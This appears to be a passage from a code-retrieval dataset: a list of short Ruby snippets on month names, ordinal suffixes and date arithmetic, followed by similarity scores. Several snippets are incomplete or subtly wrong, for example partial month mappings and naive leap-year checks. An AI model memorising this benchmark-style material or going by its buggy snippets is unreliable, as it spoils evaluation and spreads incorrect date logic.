"def month? = unit == 'month'",
"def ordinal_suffix(number)\n last_two_digits = number.abs % 100\n\n if (11..13).include?(last_two_digits)\n \"th\"\n else\n last_digit = number.abs % 10\n case last_digit\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\nend",
"def handle_mn\n handle_possible(SeparatorSpace)\n handle_possible(SeparatorSpace) if handle_possible(KeywordIn)\n @month = Date::MONTHS[@tokens[@index].get_tag(MonthName).type]\n @index += 1\n @precision = :month\n end",
"def refine_month(m)\n mon = check_num_str(m)\n adjust_month(mon)\n end",
"def ordinal(number)\n \tending =\n case number % 100\n when 11, 12, 13 then 'th'\n else\n case number % 10\n when 1 then 'st'\n when 2 then 'nd'\n when 3 then 'rd'\n else 'th'\n end\n end\n\t\treturn number.to_s + ending\n end",
"def day_of_month\n start_on.day.to_s\n end",
"def ordinal_dayindex(num, day_index)\n # create a date object at the first occurrence of day_index\n first_occ_date = ZDate.new(ZDate.format_date(year_str, month_str)).this(day_index)\n # confirm that the day actually falls in the month\n this_month = ZDate.new(ZDate.format_date(year_str, month_str)).month\n if first_occ_date.month != this_month\n num += 1\n end\n\n # if num is 1 through 4, we can just add (num-1) weeks\n if num <= 4\n d = first_occ_date.add_weeks(num - 1)\n else\n # we want the last occurrence of this month\n # add 4 weeks to first occurrence, see if we are in the same month, subtract 1 week if we are not\n d = first_occ_date.add_weeks(4)\n if d.month != month\n d = d.sub_weeks(1)\n end\n end\n d\n end",
"def parse_month_day(day, month, year)\n On.parse(day, month, year)\n end",
"def ordinal(number)\n abs_number = number.to_i.abs\n\n if (11..13).include?(abs_number % 100)\n \"th\"\n else\n case abs_number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\nend",
"def number_to_full_month_name(a)\n case a\n when 1\n return \"January\"\n when 3\n return \"March\"\n when 4\n return \"April\"\n when 9\n return \"September\"\n when 10\n return \"October\"\n end\nend",
"def each_december( n=1); each_monthnum(self.Dec,n); end",
"def adjust_month(m)\n months = [\"january\", \"february\", \"march\", \"april\", \"may\", \"june\", \"july\", \"august\", \"september\", \"october\", \"november\", \"december\"]\n if m.is_a? Integer\n months[m-1]\n else\n m\n end\n end",
"def roman_month(date)\n date[1]\n end",
"def nth_day_of_month? d, n\n case n <=> 0\n when -1\n nth_last_day_of_month(d) == n\n when 0\n raise ArgumentError.new(\"must be non-zero integer\")\n when 1\n nth_day_of_month(d) == n\n end\n end",
"def number_to_short_month_name(number)\n case\n when number == 1\n return \"Jan\"\n when number == 4\n return \"Apr\"\n when number == 10\n return \"Oct\"\n else\n return \"Not a month\"\n end\nend",
"def wrong_day_number_in_month\n if thirty_days_month && @day > 30\n return true\n else\n return check_february\n end\n end",
"def each_february( n=1); each_monthnum(self.Feb,n); end",
"def ordinal_date(date)\n date - date.beginning_of_year\n end",
"def ordinal\n case self % 100\n when 11..13; \"#{self}th\"\n else\n case self % 10\n when 1; \"#{self}st\"\n when 2; \"#{self}nd\"\n when 3; \"#{self}rd\"\n else \"#{self}th\"\n end\n end\n end",
"def number_to_full_month_name(number)\n\n result = case number\n when 1\n \"January\"\n when 3\n \"March\"\n when 9\n \"September\"\n end\n return result\nend",
"def ides_of_month(month)\n [MARCH, MAY, JULY, OCTOBER].include?(month) ? 15 : 13\n end",
"def month=(_arg0); end",
"def daysByMonth(num)\n if(num.is_a? Integer)\n case num\n when 2\n puts \"Ce mois comporte 28 jours.\"\n when 4, 6, 9, 11\n puts \"Ce mois comporte 30 jours.\"\n when 1, 3, 5, 7, 8, 10, 12\n puts \"Ce mois comporte 31 jours.\"\n else puts \"Ce mois n'existe pas. Le chiffre doit être entre 1 et 12.\"\n end\n else puts \"Ce n'est pas un Integer.\"\n end\nend",
"def number_to_full_month_name(month)\n case month\n when 1\n month = \"January\"\n when 2\n month = \"February\"\n when 3\n month = \"March\"\n when 4\n month = \"April\"\n when 5\n month = \"May\"\n when 6\n month = \"June\"\n when 7\n month = \"July\"\n when 8\n month = \"August\"\n when 9\n month = \"September\"\n when 10\n month = \"October\"\n when 11\n month = \"November\"\n when 12\n month = \"December\"\n end\nreturn month\nend",
"def number_to_full_month_name(month)\n if month == 1\n return \"January\"\n elsif month == 2\n return \"February\"\n elsif month == 3\n return \"March\"\n elsif month == 4\n return \"April\"\n elsif month == 5\n return \"May\"\n elsif month == 6\n return \"June\"\n elsif month == 7\n return \"July\"\n elsif month == 8\n return \"August\"\n elsif month == 9\n return \"September\"\n elsif month == 10\n return \"October\"\n elsif month == 11\n return \"November\"\n elsif month == 12\n return \"December\"\n else\n return \"This does not correlate to a month\"\n end\nend",
"def ordinal_indicator(number)\n if number == 0\n return \"zero\"\n elsif number.to_s.chars.map(&:to_i).last == 1 && number != 11\n return \"#{number}st\"\n elsif number.to_s.chars.map(&:to_i).last == 2 && number != 12\n return \"#{number}nd\"\n elsif number.to_s.chars.map(&:to_i).last == 3 && number != 13\n return \"#{number}rd\"\n else\n return \"#{number}th\"\n end\nend",
"def inspect\n \"the day of the month is the \" +\n ordinal_list(@days)\n end",
"def test_should_return_last_day_of_month\n # test an ambiguous last, no weekday defined.\n assert_equal Month.december(2008).last, Date.new(2008,12,31)\n # test a specific last weekday.\n assert_equal Month.september(2004).last(:friday), Date.new(2004,9,24)\n # test a specific ambiguous, fourth, no weekday defined.\n assert_equal Month.june(2004).fourth(:friday), Date.new(2004,6,25)\n end",
"def wrong_date(num)\n first_day(num).text\nend",
"def february(num)\n if wrong_date(num).to_i.between?(23, 28)\n wrong_date_replacements = { 23 => 6, 24 => 5, 25 => 4, 26 => 3,\n 27 => 2, 28 => 1 }\n calendar_date(num, wrong_date_replacements[wrong_date(num).to_i])\n else\n first_day(num).click\n end\nend",
"def month\n @month ||= Date::ABBR_MONTHNAMES.index(@md[4])\n end",
"def month\n @month ||= Date::ABBR_MONTHNAMES.index(@md[1])\n end",
"def find_day_of_month(day=@day, first_day_of_month=@first_day_of_month)\r\n day = ((day - 1) + first_day_of_month) % 7\r\n return 7 if day == 0\r\n day\r\n end",
"def ordinalize\n if (11..13).include?(self % 100)\n \"#{self}th\"\n else\n case self % 10\n when 1; \"#{self}st\"\n when 2; \"#{self}nd\"\n when 3; \"#{self}rd\"\n else \"#{self}th\"\n end\n end\n end",
"def dob_mapping(month, day, year)\n month_arr = %w(January February March April May June July August September October November December)\n m_str = ((month_arr.index month) + 1).to_s\n m = (m_str.length > 1) ? m_str : '0' + m_str\n d = (day.length > 1) ? day : '0' + day\n y = year\n\n y + '-' + m + '-' + d\n end",
"def is_month_day?\n\t\t\tif !!self.day\n\t\t\t\tif self.day > 31\n\t\t\t\t\terrors.add(:day, \" number cannot be greater than 31.\")\n\t\t\t\telsif self.day < 1\n\t\t\t\t\terrors.add(:day, \" number cannot be less than one.\")\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def get_next_day\n\t# Precondition: Check if current day and month are valid\n\tcheck_cur_day\n\tcheck_cur_mth\n\n=begin\n\tDue to the differences in the length of months, setting the next day\n\tdepends on the current month\n=end\n\tcase get_cur_mth\n\t\t# For 31-day months\n\t\twhen 1,3,5,7,8,10,12\n\t\t\t# If it is not the 31st of the month\n\t\t\tif ($num_days_31mth > get_cur_day)\n\t\t\t\t# Move on to the next day\n\t\t\t\tset_cur_day(get_cur_day+1)\n\t\t\t# Then, it must be the last day of the month\n\t\t\telse\n\t\t\t\t# Move on to the next month\n\t\t\t\tget_next_mth\n\t\t\t\t# Set the day of the month to be the first\n\t\t\t\tset_cur_day(1)\n\t\t\tend\n\t\t# For February\n\t\twhen 2\n\t\t\t# If it is not the 29th of February in a leap year\n\t\t\tif ($num_days_29feb > get_cur_day) and (0 == get_cur_year.modulo($leap_num_yr))\n\t\t\t\t# Move on to the next day\n\t\t\t\tset_cur_day(get_cur_day+1)\n\t\t\t# Else, if it is not the 28th of February in a non-leap year\n\t\t\telsif ($num_days_28feb > get_cur_day) and (0 != get_cur_year.modulo($leap_num_yr))\n\t\t\t\t# Move on to the next day\n\t\t\t\tset_cur_day(get_cur_day+1)\n\t\t\t# Then, it must be the last day of the month\n\t\t\telse\n\t\t\t\t# Move on to the next month\n\t\t\t\tget_next_mth\n\t\t\t\t# Set the day of the month to be the first\n\t\t\t\tset_cur_day(1)\n\t\t\tend\n\t\t# For 30-day months\n\t\twhen 4,6,9,11\n\t\t\t# If it is not the 30th of the month\n\t\t\tif ($num_days_30mth > get_cur_day)\n\t\t\t\t# Move on to the next day\n\t\t\t\tset_cur_day(get_cur_day+1)\n\t\t\t# Then, it must be the last day of the month\n\t\t\telse\n\t\t\t\t# Move on to the next month\n\t\t\t\tget_next_mth\n\t\t\t\t# Set the day of the month to be the first\n\t\t\t\tset_cur_day(1)\n\t\t\tend\n\t\telse\n\t\t\traise \"The current month is invalid; precondition check FAILED!!!\"\n\tend\nend",
"def January ; Date::MONTHNAMES.index(\"January\"); end",
"def lunar_date(year, month, day)\n l = yang_to_nong(year, month, day)\n l[0].to_s + '-' + l[1].to_s + '-' + (/^\\d+/.match(l[2].to_s)).to_s\n end",
"def strftime_with_ordinal(date_time, format_string)\n ordinal = case date_time.day\n when 1, 21, 31 then \"st\"\n when 2, 22 then \"nd\"\n when 3, 23 then \"rd\"\n else \"th\"\n end\n\n date_time.strftime(format_string.gsub(\"%o\", ordinal))\n end",
"def monthly\n end",
"def this_month\n day(Time.now)\n end",
"def english_ordinal n\n str = n.to_s\n str +\n case str\n when /11$/, /12$/, /13$/\n 'th'\n when /1$/\n 'st'\n when /2$/\n 'nd'\n when /3$/\n 'rd'\n else\n 'th'\n end\nend",
"def ordinal(num)\n\tnum = num.to_s\n\tnum2 = num.to_i\n\n if num == \"1\" || num2 % 10 == 1 && num[num.length-2] != \"1\"\n return \"st\"\n elsif num == \"2\" || num2 % 10 == 2 && num[num.length-2] != \"1\"\n return \"nd\"\n elsif num == \"3\" || num2 % 10 == 3 && num[num.length-2] != \"1\"\n return \"rd\"\n else\n return \"th\"\n end\nend",
"def monthDays(y, m)\n if ((@@lunar_info[y - 1900] & (0x10000 >> m)) == 0)\n return 29\n else\n return 30\n end\n end",
"def day_of_month\n return self.day_of_year if self.month == 1\n ((self.day_of_year - 1) - DAYS_IN_MONTH.slice(0, (month - 1)).inject(:+)) + 1\n end",
"def days_in_month\n raw = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][self.month]\n self.month == 2 && leap_year? ? raw + 1 : raw\n end",
"def number_to_short_month_name(month)\n if month == 1\n return \"Jan\"\n elsif month == 2\n return \"Feb\"\n elsif month == 3\n return \"Mar\"\n elsif month == 4\n return \"Apr\"\n elsif month == 5\n return \"May\"\n elsif month == 6\n return \"Jun\"\n elsif month == 7\n return \"Jul\"\n elsif month == 8\n return \"Aug\"\n elsif month == 9\n return \"Sep\"\n elsif month == 10\n return \"Oct\"\n elsif month == 11\n return \"Nov\"\n elsif month == 12\n return \"Dec\"\n else\n return \"This does not correlate to a month\"\n end\nend",
"def test_days_in_month()\n first_month=days_in_month(1,2016)\n assert_equal(31,first_month)\n end",
"def last_day_of_month(year, month)\n\n year = year.to_i\n month = month.to_i\n\n if (month == 1) or (month == 3) or (month == 5) or (month == 7) or (month == 8) or (month == 10) or (month == 12)\n day = \"31\"\n else\n if (month == 4) or (month == 6) or (month == 9) or (month == 11)\n day = \"30\"\n else\n if year % 4 == 0\n day = \"29\"\n else\n day = \"28\"\n end\n end\n end\n day\n end",
"def each_may( n=1); each_monthnum(self.May,n); end",
"def linkedin_date(month)\n \tcase month\n \t\twhen 1\n \t\t\tmonth = \"January\"\n \t\twhen 2\n \t\t\tmonth = \"February\"\n \t\twhen 3\n \t\t\tmonth = \"March\"\n \t\twhen 4\n \t\t\tmonth = \"April\"\n \t\twhen 5\n \t\t\tmonth = \"May\"\n \t\twhen 6\n \t\t\tmonth = \"June\"\n \t\twhen 7\n \t\t\tmonth = \"July\"\n \t\twhen 8\n \t\t\tmonth = \"August\"\n \t\twhen 9\n \t\t\tmonth = \"September\"\n \t\twhen 10\n \t\t\tmonth = \"October\"\n \t\twhen 11\n \t\t\tmonth = \"November\"\n \t\twhen 12\n \t\t\tmonth = \"December\"\n \t\telse\n \t\t\tmonth = \"\"\n \tend\n \treturn month\n end",
"def month\n months = %w{January February March April May June July August September October November December}\n months[Time.now.month - 1]\n end",
"def could_be_month?(month); end",
"def number_to_substring_month(number)\n case number\n when 1\n return \"Jan\"\n when 4\n return \"Apr\"\n when 9\n return \"Sep\"\n when 10\n return \"Oct\"\n end\nend",
"def test_should_return_fourth_and_last_day_of_month\n assert_equal Month.june(2004).fourth(:friday), Month.june(2004).last(:friday)\n end",
"def day(date)\n [date.day.ordinalize.to_s, month(date)].join(' ')\n end",
"def month_result_string(day)\n start = day.beginning_of_month.yday - 1\n finish = day.end_of_month.yday - 1\n result_string(day.year).slice(start..finish)\n end",
"def mday\n end",
"def mon() @m_date.mon end",
"def each_april( n=1); each_monthnum(self.Apr,n); end",
"def dmonth(delta=0)\n ty = Time.now.utc\n m1 = 1 + (ty.month + delta - 1) % 12\n y1 = ty.year + (ty.month + delta - 1) / 12\n m2 = 1 + (ty.month + delta) % 12\n y2 = ty.year + (ty.month + delta) / 12\n puts m1, y1, m2, y2\n {\n :from => Time.utc(y1,m1),\n :to => Time.utc(y2,m2)\n }\n end",
"def wrong_day_30(num)\n if two_30_one_31_last(num)\n calendar_date(num, 1)\n elsif two_30_one_31_not_last(num) || two_30_two_31\n calendar_date(num, 2)\n end\nend",
"def month\n @month ||= date_calc.merch_to_julian(merch_month)\n end",
"def get_month(month)\n month = month.to_s\n month.length == 2 ? month : \"0#{month}\"\n end",
"def partial_date_string(year, month, day)\n if !day.nil?\n \"on #{Date::MONTHNAMES[month]}, #{day} of #{year}\"\n elsif !month.nil?\n \"in #{Date::MONTHNAMES[month]} of #{year}\"\n else\n \"in #{year}\"\n end\n end",
"def day() end",
"def number_to_short_month_name(n)\n short_month_string = number_to_full_month_name(n)[0..2]\nend",
"def month\n @year = params[:year].to_i\n @month = params[:month].to_i\n @first_day = @event.first_day_of_month(@year, @month)\n @last_day_of_month = Date.new(@year, @month, 1).end_of_month\n end",
"def month\n sunday = @monday + 6\n return 1 if sunday.month == 1 && sunday.year == @year\n return 12 if @monday.month == 12 && @monday.year == @year\n (@monday + 2).month\n end",
"def heb_month_name\r\n if HebrewDate.leap?(@hy) and @hm >= 12 # leap year and from adar\r\n return HEB_MONTH_NAMES[@hm + 1]\r\n else\r\n return HEB_MONTH_NAMES[@hm]\r\n end\r\n end"
] |
[
"0.7263979",
"0.67658365",
"0.6726652",
"0.67033803",
"0.66507995",
"0.6506593",
"0.64195263",
"0.64153194",
"0.62813324",
"0.62441784",
"0.62441784",
"0.62375194",
"0.6230108",
"0.6219399",
"0.6188863",
"0.61822635",
"0.61409277",
"0.61209714",
"0.61145145",
"0.6085115",
"0.6073571",
"0.60704565",
"0.60528105",
"0.6036675",
"0.6028261",
"0.60181934",
"0.6004997",
"0.59992325",
"0.5998144",
"0.59935474",
"0.5991717",
"0.5986306",
"0.5985793",
"0.5973415",
"0.59718263",
"0.59639275",
"0.59593785",
"0.5953335",
"0.5939414",
"0.5934389",
"0.59316075",
"0.59224474",
"0.5917351",
"0.59129184",
"0.5911777",
"0.58871305",
"0.5874308",
"0.58682036",
"0.58638316",
"0.5862427",
"0.5861181",
"0.5850855",
"0.58429736",
"0.583652",
"0.58207357",
"0.58193356",
"0.58145744",
"0.58119524",
"0.58034205",
"0.5798246",
"0.5797704",
"0.5797181",
"0.57689434",
"0.5758553",
"0.57542765",
"0.57467014",
"0.57463646",
"0.5736917",
"0.5732813",
"0.572345",
"0.572201",
"0.57179564",
"0.5715179",
"0.5702444",
"0.56972545",
"0.5693716",
"0.5682258",
"0.56742716",
"0.56700164",
"0.5663642",
"0.5663571",
"0.5655271",
"0.56534123",
"0.56436276",
"0.5638399",
"0.56346256",
"0.56277484",
"0.5625925",
"0.5618305",
"0.5615432",
"0.56072444",
"0.56051713",
"0.5600769",
"0.5598971",
"0.5597012",
"0.559011",
"0.55891436",
"0.5578251",
"0.5571116",
"0.5570829"
] |
0.5702108
|
74
|
Handle ordinalmonth/grabber/unityear formats: mm(st|nd|rd|th) of last/this/next year
|
def handle_om_gr
handle_om
next_tag
handle_gr
# ignore unit
@year = @local_date.year + @modifier
next_tag
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rsmonth(month)\n case month\n when 1\n return 'januar'\n when 2\n return 'februar'\n when 3\n return 'mart'\n when 4\n return 'april'\n when 5\n return 'maj'\n when 6\n return 'jun'\n when 7\n return 'jul'\n when 8\n return 'avgust'\n when 9\n return 'septembar'\n when 10\n return 'oktobar'\n when 11\n return 'novembar'\n when 12\n return 'decembar'\n end\nend",
"def month() end",
"def date_parse raw_day, raw_month\n str_month = raw_month.scan(@regex_monthes)[0]\n month = @monthes[str_month]\n return if not month\n day = raw_day.to_i\n return if day==0\n today = Date.today\n if day < today.day and month == 12\n year = today.year + 1\n else\n year = today.year\n end\n #puts year, year.class, month, month.class, day, day.class\n return \"#{year}-#{\"%02d\"%month}-#{\"%02d\"%day}\"\nend",
"def year_month_int_to_year_and_month(year_month)\n [year_month / 12, (year_month % 12) + 1]\n end",
"def normalize_month(month)\n month % 12 + 1\n end",
"def handle_od_gr\n handle_od\n next_tag\n handle_gr\n # ignore unit\n @year, @month = Date::add_month(@local_date.year, @local_date.month, @modifier)\n next_tag\n end",
"def year_month(date, fmt=\"yyyy mmm\")\n return nil unless date\n yyyy = date.year.to_s\n mmm = %w(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec)[date.month-1]\n case fmt\n when \"mmm-yy\" then \"%s-%s\" % [mmm, yyyy[2, 2]]\n when \"mmm yyyy\" then \"%s %s\" % [mmm, yyyy]\n else \"%s %s\" % [yyyy, mmm]\n end\n end",
"def month_name(number); end",
"def number_to_short_month_name(short)\n if short == 1\n return \"Jan\"\n elsif short == 4\n return \"Apr\"\n else short == 10\n return \"Oct\"\n end\nend",
"def number_to_full_month_name(number)\n case\n when number == 1\n return \"January\"\n when number == 3\n return \"March\"\n when number == 9\n return \"September\"\n else\n return \"Not a month\"\n end\nend",
"def number_to_full_name__month(number)\n case number\n when 1\n return \"January\"\n when 3\n return \"March\"\n when 4\n return \"April\"\n when 9\n return \"September\"\n when 10\n return \"October\"\n end\nend",
"def month; end",
"def month; end",
"def refine_month(m)\n mon = check_num_str(m)\n adjust_month(mon)\n end",
"def roman_month(date)\n date[1]\n end",
"def ordinalize(date)\n date = datetime(date)\n d = \"<span class='date-month'>#{date.strftime('%b')}</span> \"\n d = \"<span class='date-day'>#{date.strftime('%e')}</span> \"\n d += \"<span class='date-suffix'>#{ordinal_suffix(date)}</span>, \"\n d += \"<span class='date-year'>#{date.strftime('%Y')}</span>\"\n end",
"def number_to_full_month_name(a)\n case a\n when 1\n return \"January\"\n when 3\n return \"March\"\n when 4\n return \"April\"\n when 9\n return \"September\"\n when 10\n return \"October\"\n end\nend",
"def number_to_short_month_name(number)\n case\n when number == 1\n return \"Jan\"\n when number == 4\n return \"Apr\"\n when number == 10\n return \"Oct\"\n else\n return \"Not a month\"\n end\nend",
"def test_yearly_by_month_loop\n parse(\n 'FREQ=YEARLY;INTERVAL=1;UNTIL=20120203T225959Z;BYMONTH=2;BYSETPOS=1;BYDAY=SU,MO,TU,WE,TH,FR,SA',\n '2012-01-01 15:45:00',\n [\n '2012-02-01 15:45:00'\n ],\n '2012-01-29 23:00:00'\n )\n end",
"def day_of_month\n ordinal = case @time.day\n when 1 then \"st\"\n when 2 then \"nd\"\n when 3 then \"rd\"\n else \"th\"\n end\n \"#{@time.day}#{ordinal}\"\n end",
"def month=(_arg0); end",
"def number_to_full_month_name(number)\n\n result = case number\n when 1\n \"January\"\n when 3\n \"March\"\n when 9\n \"September\"\n end\n return result\nend",
"def adjust_month(m)\n months = [\"january\", \"february\", \"march\", \"april\", \"may\", \"june\", \"july\", \"august\", \"september\", \"october\", \"november\", \"december\"]\n if m.is_a? Integer\n months[m-1]\n else\n m\n end\n end",
"def number_to_full_month_name(month)\n case month\n when 1\n month = \"January\"\n when 2\n month = \"February\"\n when 3\n month = \"March\"\n when 4\n month = \"April\"\n when 5\n month = \"May\"\n when 6\n month = \"June\"\n when 7\n month = \"July\"\n when 8\n month = \"August\"\n when 9\n month = \"September\"\n when 10\n month = \"October\"\n when 11\n month = \"November\"\n when 12\n month = \"December\"\n end\nreturn month\nend",
"def format_month_year(date)\n date.strftime(\"%Y-%b\")\n end",
"def number_to_substring_month(number)\n case number\n when 1\n return \"Jan\"\n when 4\n return \"Apr\"\n when 9\n return \"Sep\"\n when 10\n return \"Oct\"\n end\nend",
"def get_date_month_year\n\t\tif @date_time != nil and @date_time.to_s.strip != \"\"\n\t\t\tdate_time_arr = @date_time.to_s.split\n\t\t\tday_month_year = (date_time_arr[date_time_arr.size - 3] + date_time_arr[date_time_arr.size - 2] + date_time_arr[date_time_arr.size-1]).strip\n\t\t\treturn day_month_year\n\t\telse\n\t\t\treturn \"UNKNOWN\"\n\t\tend\n\tend",
"def number_to_full_month_name(month)\n if month == 1\n return \"January\"\n elsif month == 2\n return \"February\"\n elsif month == 3\n return \"March\"\n elsif month == 4\n return \"April\"\n elsif month == 5\n return \"May\"\n elsif month == 6\n return \"June\"\n elsif month == 7\n return \"July\"\n elsif month == 8\n return \"August\"\n elsif month == 9\n return \"September\"\n elsif month == 10\n return \"October\"\n elsif month == 11\n return \"November\"\n elsif month == 12\n return \"December\"\n else\n return \"This does not correlate to a month\"\n end\nend",
"def ordinal_suffix(date)\n number = date.strftime('%e').to_i\n if (11..13).include?(number % 100)\n \"th\"\n else\n case number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\n end",
"def post_year\n chars = @date.split('')\n chars.pop(4).join('').to_i\n end",
"def get_month(month)\n month = month.to_s\n month.length == 2 ? month : \"0#{month}\"\n end",
"def ordinal_suffix(date)\n number = date.strftime('%e').to_i\n if (11..13).include?(number % 100)\n \"th\"\n else\n case number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\n end",
"def ordinalize(date)\n\t date = datetime(date)\n\t \"#{date.strftime('%b')} #{ordinal(date.strftime('%e').to_i)}, #{date.strftime('%Y')}\"\n\tend",
"def ordinalize(date)\n \"#{date.strftime('%b %-d')}#{ordinal_suffix(date)}, #{date.strftime('%Y')}\"\n end",
"def ordinal_date(date)\n date - date.beginning_of_year\n end",
"def month\n end",
"def year\n @year = params[:year].to_i\n @first_month = 1\n @last_month = (Date.today.year == @year) ? Date.today.month : 12\n end",
"def increment_month!\n if month != 12\n # just bump up a number\n self.date = ZDate.format_date(year_str, month + 1)\n else\n self.date = ZDate.format_date(year + 1)\n end\n end",
"def January ; Date::MONTHNAMES.index(\"January\"); end",
"def handle_mn\n handle_possible(SeparatorSpace)\n handle_possible(SeparatorSpace) if handle_possible(KeywordIn)\n @month = Date::MONTHS[@tokens[@index].get_tag(MonthName).type]\n @index += 1\n @precision = :month\n end",
"def month\n @month ||= Date::ABBR_MONTHNAMES.index(@md[4])\n end",
"def ordinalize(date)\n date = datetime(date)\n \"#{date.strftime('%b')} #{ordinal(date.strftime('%e').to_i)}, #{date.strftime('%Y')}\"\n end",
"def day_of_month_format(string)\n \tif string =~ /(\\d+)(st|nd|rd|th)?\\sof the month at (.*)/\n \t\tday = $1\n \t\ttimes = parse_times($3)\n \tend\n end",
"def month\n @month ||= Date::ABBR_MONTHNAMES.index(@md[1])\n end",
"def normalise_month(row_index)\r\n month_index = row_index + @first_month\r\n month_index -= 12 if month_index >= 12\r\n month_index\r\n end",
"def number_to_full_month_name(number)\n month_name = case number\n when 1\n \"January\"\n when 2\n \"February\"\n when 3\n \"March\"\n when 11\n \"November\"\n end\n return month_name\nend",
"def to_month(**options) = convert_to('month', **options)",
"def linkedin_date(month)\n \tcase month\n \t\twhen 1\n \t\t\tmonth = \"January\"\n \t\twhen 2\n \t\t\tmonth = \"February\"\n \t\twhen 3\n \t\t\tmonth = \"March\"\n \t\twhen 4\n \t\t\tmonth = \"April\"\n \t\twhen 5\n \t\t\tmonth = \"May\"\n \t\twhen 6\n \t\t\tmonth = \"June\"\n \t\twhen 7\n \t\t\tmonth = \"July\"\n \t\twhen 8\n \t\t\tmonth = \"August\"\n \t\twhen 9\n \t\t\tmonth = \"September\"\n \t\twhen 10\n \t\t\tmonth = \"October\"\n \t\twhen 11\n \t\t\tmonth = \"November\"\n \t\twhen 12\n \t\t\tmonth = \"December\"\n \t\telse\n \t\t\tmonth = \"\"\n \tend\n \treturn month\n end",
"def years_to_month(years)\n years * 12.0\nend",
"def heb_month_name\r\n if HebrewDate.leap?(@hy) and @hm >= 12 # leap year and from adar\r\n return HEB_MONTH_NAMES[@hm + 1]\r\n else\r\n return HEB_MONTH_NAMES[@hm]\r\n end\r\n end",
"def number_to_short_month_name(month)\n if month == 1\n return \"Jan\"\n elsif month == 2\n return \"Feb\"\n elsif month == 3\n return \"Mar\"\n elsif month == 4\n return \"Apr\"\n elsif month == 5\n return \"May\"\n elsif month == 6\n return \"Jun\"\n elsif month == 7\n return \"Jul\"\n elsif month == 8\n return \"Aug\"\n elsif month == 9\n return \"Sep\"\n elsif month == 10\n return \"Oct\"\n elsif month == 11\n return \"Nov\"\n elsif month == 12\n return \"Dec\"\n else\n return \"This does not correlate to a month\"\n end\nend",
"def number_to_short_month_name(n)\n short_month_string = number_to_full_month_name(n)[0..2]\nend",
"def extract_day_mth_yr(given_date)\n\ttmp_new_date = given_date.split('/')\n\t# Get the current month\n\tset_cur_mth(tmp_new_date[0])\n\t# Get the current day\n\tset_cur_day(tmp_new_date[1])\n\t# Get the current year\n\tset_cur_year(tmp_new_date[2])\n\t# Get the body of the output filename\n\t$op_file_body = \"_\"+ month_num_to_ver(get_cur_mth) +\"_\"+ get_cur_day.to_s + \"_\" + get_cur_year.to_s\n\t# Get the name of the output filename\n\t$op_filename = $op_file_prefix + $op_file_body + $op_file_suffix\nend",
"def month_from_name(month)\n month = MONTH_NAMES.index(month)\n month ? month / 2 + 1 : nil\n end",
"def number_to_full_month_name(num)\n return Date::MONTHNAMES[num]\nend",
"def ordinalDate\n ordinal = DAYS_THUS_FAR[@month].to_i + @day.to_i\n if leapYear? && @month > 2\n ordinal = ordinal + 1\n end\n return ordinal\n end",
"def validate_month\n if self.month.length > 2 # assumes month is a name if longer than 2 chars\n @number_month = Date::MONTHNAMES.index(self.month.capitalize)\n if @number_month < Time.now.month\n self.month = @number_month\n else\n @valid = false\n end\n end\n end",
"def lunar_date(year, month, day)\n l = yang_to_nong(year, month, day)\n l[0].to_s + '-' + l[1].to_s + '-' + (/^\\d+/.match(l[2].to_s)).to_s\n end",
"def format_date(month, year)\n \"#{format(month,:two_digits)}/#{format(year, :two_digits)}\"\n end",
"def format_date(month, year)\n \"#{format(month,:two_digits)}/#{format(year, :two_digits)}\"\n end",
"def months_in_year\n 12\nend",
"def extract_swimmer_year_and_category( compound_year_or_category )\n parts = compound_year_or_category.to_s.split(/\\s+/)\n if (parts[0] =~ /\\d{4}/) && (parts[1] =~ /\\d{2}/)\n [ parts[0] , \"M#{parts[1]}\" ]\n\n elsif (parts[0] =~ /\\d{4}/) && (parts[1] == '0')\n [ parts[0] , 'U25' ]\n\n elsif parts[0] =~ /M|U/i\n [ nil, parts.join ]\n\n else\n [ nil, nil ]\n end\n end",
"def year_month_int_to_str(year_month)\n \"#{year_month / 12} #{MONTHS[year_month % 12]}\"\n end",
"def build_date_from_year_month(data)\n dt = data['year']\n if data['month']\n dt += '-' + data['month'] + '-1'\n end\n dt\n end",
"def validate_month(spec)\n return true if spec == \"*\"\n\n if spec.respond_to? :to_int\n validate_numeric(spec, 1, 12)\n elsif spec.respond_to? :to_str\n # Named abbreviations are permitted but not as part of a range or with stepping\n return true if %w{jan feb mar apr may jun jul aug sep oct nov dec}.include? spec.downcase\n\n # 1-12 are legal for months\n validate_numeric(spec, 1, 12)\n else\n false\n end\n end",
"def century_name_ending(number)\n if number[-2] == '1' # 10-19 are last two digits\n 'th'\n else\n case number[-1]\n when '0', '4', '5', '6', '7', '8', '9' then 'th'\n when '1' then 'st'\n when '2' then 'nd'\n when '3' then 'rd'\n end\n end\nend",
"def number_to_short_month_name(month)\n return number_to_full_month_name(month)[0..2]\nend",
"def could_be_month?(month); end",
"def month_result_string(day)\n start = day.beginning_of_month.yday - 1\n finish = day.end_of_month.yday - 1\n result_string(day.year).slice(start..finish)\n end",
"def end_of_month\n self.class.new year, month + 1, 0\n end",
"def ordinalize(number)\n if (number.to_i==-1)\n\t'last'\n elsif (number.to_i==-2)\n\t'second to last'\n elsif (11..13).include?(number.to_i % 100)\n\t\"#{number}th\"\n else\n\tcase number.to_i % 10\n\t when 1 then \"#{number}st\"\n\t when 2 then \"#{number}nd\"\n\t when 3 then \"#{number}rd\"\n\t else \"#{number}th\"\n\tend\n end\n end",
"def to_month_person(**options) = convert_to('month-person', **options)",
"def month\n @year = params[:year].to_i\n @month = params[:month].to_i\n @first_day = @event.first_day_of_month(@year, @month)\n @last_day_of_month = Date.new(@year, @month, 1).end_of_month\n end",
"def set_year(m)\n if set_month(m) > 2 and set_month(m) < 13\n @year.to_i\n else\n @year.to_i - 1\n end\n end",
"def number_to_short_month_name(a)\n return number_to_full_month_name(a).slice(0,3)\nend",
"def parse_month(date)\n date.split(\"-\").last.to_i rescue nil\n end",
